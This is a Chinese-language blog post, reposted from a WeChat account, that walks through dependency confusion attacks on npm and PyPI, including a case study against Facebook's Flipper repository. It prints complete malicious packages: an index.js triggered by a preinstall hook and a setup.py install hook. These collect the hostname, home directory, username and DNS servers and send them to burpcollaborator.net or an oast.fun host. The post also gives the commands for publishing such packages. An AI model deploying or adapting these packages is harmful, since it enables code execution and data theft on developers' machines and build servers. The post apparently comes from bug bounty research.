当软件安装程序脚本被诱骗从公共存储库中提取恶意代码文件而不是从内部存储库中提取同名的预期文件时,就会发生依赖混淆攻击或供应链替换攻击。
依赖混淆攻击流程
从上图可以看出,与私有包相比,公共包包含更高的版本。
因此,如果包索引没有正确完成,它会自动从公共注册表中提取更高版本的包。
查找私有包(NPM)
注意:在 NPM package.json 文件中包含依赖项名称列表,可进一步用于检查包是否是公共的。
将 Github Dorking 与此组织过滤器中的 package.json 等关键字一起使用,如下所示。
选择Code -> Repository 和JSON -> Languages ,它将显示特定组织中存在的可用package.json文件。
还可以使用npm package.json 公开核心模板找到它。
id
: package-json
info
:
name
:
npm package.json disclosure
author
:
geeknik,afaq
severity
:
info
description
:
All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
tags
:
config,exposure
requests
:
method: GET
path
:
"/package.json"
"/package-lock.json"
:
and
matchers
:
type: word
words
:
"name"
"version"
condition
:
and
type: word
words
:
"application/json"
part
:
header
type: status
status
:
200
eslint-plugin-flipper案例研究
存储库名称:
https: //github.com/facebook/flipper
漏洞包位置:
https://github.com/facebook/flipper/blob/39145f46a5106329a71303c357525a22075572e4/desktop/package.json
https://github.com/facebook/flipper/blob/45ce538c8dd6b448388a01e2ed4fa398956e5e20/desktop/eslint-plugin-flipper/package.json
软件包名称:eslint-plugin-flipper
类型:私人
初始立足点:
在收集过程中,使用以下关键字在github上搜索
org
:facebook
dependencies
我找到了很多 package.json,然后我开始使用以下工具检查包类型是公共的还是私有的
visma-prodec/confused - 检查多个包管理系统中依赖混淆漏洞的工具。
使用以下命令下载 package.json 文件。
wget
https:
/
/raw.githubusercontent.com/facebook
/flipper/
39145
f46a5106329a71303c357525a22075572e4/desktop/package.json
使用以下命令检查是否包含私有npm包。
confused
-l
npm
package
.json
现在访问npm官网查看软件包可用性,显示零软件包可用。
下一步是在公共 NPM 注册表中创建相同的 NPM 包名称(eslint-plugin-flipper) 。
创建恶意包 (NPM)
使用以下命令安装NPM
apt
install npm
在NPM 注册表上创建一个帐户
使用创建的凭据登录 NPM 帐户。
npm
login
使用以下命令创建 NPM 包。
npm
init
它会要求您输入包名称,如下所示。
成功创建package.json文件后,我们需要编辑创建的文件来执行我们自己的脚本和命令。
现在创建index.js文件,如下所示。
//author:- [email protected]
const
os =
require
(
"os"
);
const
dns =
require
(
"dns"
);
const
querystring =
require
(
"querystring"
);
const
https =
require
(
"https"
);
const
packageJSON =
require
(
"./package.json"
);
const
package = packageJSON.name;
const
trackingData =
JSON
.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved :
undefined
,
v: packageJSON.version,
pjson: packageJSON,
});
var
postData = querystring.stringify({
msg: trackingData,
});
var
options = {
hostname:
"burpcollaborator.net"
,
//replace burpcollaborator.net with Interactsh or pipedream
port:
443
,
path:
"/"
,
method:
"POST"
,
headers: {
"Content-Type"
:
"application/x-www-form-urlencoded"
,
"Content-Length"
: postData.length,
},
};
var
req = https.request(options,
(
res
) =>
{
res.on(
"data"
,
(
d
) =>
{
process.stdout.write(d);
});
});
req.on(
"error"
,
(
e
) =>
{
// console.error(e);
});
req.write(postData);
req.end();
现在将创建两个文件package.json , index.js。
注册公共登记处 (NPM)
在将包发布到公共注册表之前,请确保此包名称不存在于公共注册表中。
使用以下命令发布包。
npm
publish
从上图中可以看出,软件包版本为0.0.0,并且不包含任何完整性哈希值。
与原始包相比,已发布的包包含更高版本。
如果有人安装了这个恶意 NPM 软件包或者内部构建提取了这些软件包,我们的package.json文件预安装脚本将执行index.js文件并获取主机名、目录、IP 地址、用户名,如下所示。
已将其提交给Facebook Bug Bounty Program,但由于该包eslint-plugin-flipper未在 npmjs.com 上分发而被拒绝。尽管从源代码运行时的安装说明建议人们使用Yarn安装,但这对于 Facebook Bug Bounty 计划来说不是一个有效的问题;尽管如此,提供一个现实世界的例子仍然很有帮助。
查找私有包(Python)
注意:在Python中,requirements.txt文件包含依赖项名称列表,可进一步用于检查包是否是公共的。
将 Github Dorking 与关键字(例如,在此组织过滤器中的requirements.txt)一起使用,如下所示。
选择Code -> Repository and Text -> Languages ,它将显示特定组织中存在的可用的requirements.txt文件。
获取requirements.txt文件后,我们需要验证它是否包含任何私有包。
可以使用visma-prodsec/confused这个工具来完成
使用以下命令安装该工具。
go
get
-u github.com/visma-prodsec/confused
使用以下命令检查是否包含私有Python包。
confused
-l
pip
requirements
.txt
创建恶意包 (Python)
使用以下命令安装 pip
apt
install pip
使用以下代码创建一个名为setup.py的文件,如下所示。
#source:- https://github.com/007divyachawla/python-dependency-confusion-attack/blob/main/setup.py
from
setuptools
import
setup
from
setuptools.command.install
import
install
import
requests
import
socket
import
getpass
import
os
class
CustomInstall
(install)
:
def
run
(self)
:
install.run(self)
hostname=socket.gethostname()
cwd = os.getcwd()
username = getpass.getuser()
ploads = {
'hostname'
:hostname,
'cwd'
:cwd,
'username'
:username}
requests.get(
"https://burpcollaborator.net"
,params = ploads)
#replace burpcollaborator.net with Interactsh or pipedream
setup(name=
'dependency1337'
,
#package name
version=
'1.0.0'
,
description=
'test'
,
author=
'test'
,
license=
'MIT'
,
zip_safe=
False
,
cmdclass={
'install'
: CustomInstall})
创建一个PyPi 帐户。
为了将软件包推送到公共 Pypi 注册表,我们需要(sdist、bdist_wheel、twine)将这些软件包安装在我们的系统中
pip3
install twine sdist bdist_wheel
使用以下命令构建setup.py,如下所示。
python3 setup.py sdist bdist_wheel
构建成功后,会创建三个文件夹,分别是dist、build、packagename.egg-info。
注册到公共注册表 (Python)
在将包发布到公共注册表之前,请确保此包名称不存在于公共注册表中。
使用以下命令发布包,它将提示输入用户名和密码,输入PyPi Credentials。
twine
upload dist/* --verbose
如果有人安装了这个恶意 Python 包,或者内部构建提取了这些包,我们的脚本就会执行并获取主机名、用户名、目录,如下所示。
注意:我只介绍了NPM和Python,还有对各种语言的其他依赖项,例如
- Java: Maven / Gradle
- .NET: NuGet
- PHP: Composer
- Objective-C/Swift: Cocoapods
- Ruby: Gems
- Docker
- Go: Go modules
- Rust: Cargo
例子
当我注意到扩展JS-Miner标记了目标应用程序中的依赖性问题时,我正在测试该问题涉及一个 JavaScript 文件,该文件引用了一个名为private-progrm-widget/widget1的组织。但是,在 NPM 注册表中找不到该组织。攻击者可以创建一个名为的假包private-progrm-widget
,然后创建一个模块名称widget1
并将其上传到 NPM 注册表。当目标应用程序尝试安装此软件包时,它实际上会安装攻击者的恶意代码。
为了证明概念,我创建了以下内容index.js和package.json文件,并将它们以private-progrm-widget/widget module 的名称发布到npmjs.com:
index.js
const
os =
require
(
"os"
);
const
dns =
require
(
"dns"
);
const
querystring =
require
(
"querystring"
);
const
https =
require
(
"https"
);
const
packageJSON =
require
(
"./package.json"
);
const
package = packageJSON.name;
const
trackingData =
JSON
.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved :
undefined
,
v: packageJSON.version,
pjson: packageJSON,
});
var
postData = querystring.stringify({
msg: trackingData,
});
var
options = {
hostname:
"chehzb52vtc0000bsfaggeze9iwyyyyyb.oast.fun"
,
port:
443
,
path:
"/"
,
method:
"POST"
,
headers: {
"Content-Type"
:
"application/x-www-form-urlencoded"
,
"Content-Length"
: postData.length,
},
};
var
req = https.request(options,
(
res
) =>
{
res.on(
"data"
,
(
d
) =>
{
process.stdout.write(d);
});
});
req.on(
"error"
,
(
e
) =>
{
// console.error(e);
});
req.write(postData);
req.end();
package.json
{
"name"
:
"@private-progrm-widget/widget"
,
"version"
:
"5.0.4"
,
"description"
:
"null"
,
"main"
:
"index.js"
,
"scripts"
: {
"test"
:
"echo \"
Error: no test specified\
" && exit 1"
,
"preinstall"
:
"node index.js"
},
"keywords"
: [],
"author"
:
""
,
"license"
:
"ISC"
,
"dependencies"
: {
"@private-progrm-widget/widget"
:
"^5.0.4"
}
}
当用户安装此模块时,它会检索他们的用户名和当前工作目录。等待一段时间后,以下HTTP调用被记录到我的interact.sh服务器上,确认文件的执行index.js
。
影响:-
如果攻击者声称拥有这些软件包,这将导致在受影响的服务器上执行任意代码,并允许攻击者在构建过程中在受影响的项目中添加后门。
参考:
https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
https://jineeshak.github.io/posts/Dependency-Confusion/?ref=weekly.infosecwriteups.com
https://github.com/visma-prodsec/confused
原文始发于微信公众号(红队笔记录):供应链安全:打破依赖混淆攻击的壁垒
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论